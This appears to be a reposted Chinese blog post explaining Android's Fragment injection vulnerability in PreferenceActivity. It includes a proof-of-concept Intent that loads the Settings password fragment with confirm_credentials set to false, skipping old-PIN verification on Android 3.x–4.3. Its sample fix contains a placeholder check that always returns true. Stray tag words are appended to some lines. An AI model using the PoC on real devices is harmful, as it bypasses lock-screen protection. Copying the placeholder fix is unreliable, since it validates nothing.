Android框架攻擊之Fragment注入

爲了適應愈來愈大的設備屏幕,Android在3.X後引入了Fragment概念,做用是能夠在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。關於Fragment的使用說明,能夠閱讀http://blog.csdn.net/guolin_blog/article/details/8881711。其中,Fragment有一個很強大的功能,就是能夠動態加載。這樣可讓整個界面的開發更加靈活,能夠根據不一樣的場景動態加加載不一樣的Activity。html

回到今天的主題——利用Fragment實現注入攻擊。從3.X後,android工程師重構PreferenceActivity的實現,採用Fragment實現界面的加載。經過閱讀源碼能夠發現,PreferenceActivity的onCreate裏,須要讀取Intent的多個extra內容,常量都定義在PreferenceActivity裏(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=":android:show_fragment"java

EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",這兩個參數能夠決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,而後經過反射生成一個Fragment實例,並動態加載。關鍵源碼以下所示:android

mSinglePane = hidingHeaders || !onIsMultiPane();安全

String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);微信

Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);ide

int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);測試

int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);ui


先獲取initalFragment和initialArguments兩個參數,以後在switchToHeaderInner裏完成實例化:this

private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {spa

getFragmentManager().popBackStack(BACK_STACK_PREFS,

FragmentManager.POP_BACK_STACK_INCLUSIVE);

Fragment f = Fragment.instantiate(this, fragmentName, args);

FragmentTransaction transaction = getFragmentManager().beginTransaction();

transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);

transaction.replace(com.android.internal.R.id.prefs, f);

transaction.commitAllowingStateLoss();

}


到此爲止,咱們能夠經過設置Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment。

咱們知道,在Android系統裏,App與App是互相隔離的,互相之間不能訪問對方的私有數據。App與App之間(更準確地說應該是組件與組件之間)的通信,統一使用Intent。經過Intent能夠很方便的喚起其餘App的Activity,達到功能重用的目的。好比平時使用ZAKER,你須要在微信圈裏分享,經過這種方式就能夠直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的。

結合上面的兩個關鍵點,咱們是否能夠尋找一個exported的PreferenceActivity的子類,並經過精心設置Intent的extral的值,以實現打開那些沒有exported的界面呢?若是這些界面涉及安全方面信息的話,又會怎樣呢?

Setting幾乎每一個Android設備都有的。Setting是以system_uid方式簽名,因此具有行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,並且確定是exported。咱們以此做爲入口,嘗試尋找Setting裏有哪些重要的Fragment,並嘗試把它加載進來,主要目的是但願能夠跳過某些須要用戶交互的限制。好比說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據以前傳入的initialArguments作不一樣的邏輯,關鍵代碼以下所示:

Intent intent = getActivity().getIntent();

final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);

if (savedInstanceState == null) {

updateStage(Stage.Introduction);

if (confirmCredentials) {

mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,

null, null);

}

} else {

mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);

final String state = savedInstanceState.getString(KEY_UI_STAGE);

if (state != null) {

mUiStage = Stage.valueOf(state);

updateStage(mUiStage);

}

}

若是傳入的參數當中,key爲"confirm_credentials"爲true,就會調起舊密碼驗證的流程。若是爲false,就能夠跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼以下所示:

Intent intent = new Intent();

intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);

intent.setClassName("com.android.settings", "com.android.settings.Settings");

intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");

intent.putExtra("confirm_credentials", false);

startActivity(intent);

正常的密碼修改流程是"設置"->"安全"->"屏幕鎖定"->"確認你的PIN",如所下圖所示:

若是運行DEMO,則直接進入以下界面:

這樣你直接輸入密碼,就能夠把原來的密碼覆蓋掉了。

這個BUG存在於3.X到4.3中的全部版本,4.4已經fix了。4.4強制全部PreferenceActivity必需要實現isValidFragment方法,詳細見這裏

我的總結:

應該說,這種修復方式,只是起到一個提醒的做用,最終的安全仍是交由開發者承擔。另外,目前不少應用都是基於2.X的,因此要兼容在4.4上跑而不crash,只要在PreferenceActivity的子類都補充加上isValidFragment方法就能夠了。但對於4.4以前的版,若是存在這種權限泄露的問題,仍是須要單獨處理的。下面給出兼容2.X~4.4修復的代碼示例:

public final class MyPreferenceActivity extends PreferenceActivity {

private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{

//TODO 作合法性檢查

return true;

}

//添加上這個方法,以使2.x~4.3的代碼在4.4上能夠正常運行

protected boolean isValidFragment(String fragmentName) {

return doValidcheck(fragmentName);

}

@Override

protected void onCreate(Bundle savedInstanceState) {

//在onCreate前就作合法性判斷

String fragmentname = getIntent().getStringExtra(":android:show_fragment");

doValidcheck(fragmentname);

super.onCreate(savedInstanceState);

}

}



原文地址:http://blog.csdn.net/l173864930/article/details/17279165

相關文章
相關標籤/搜索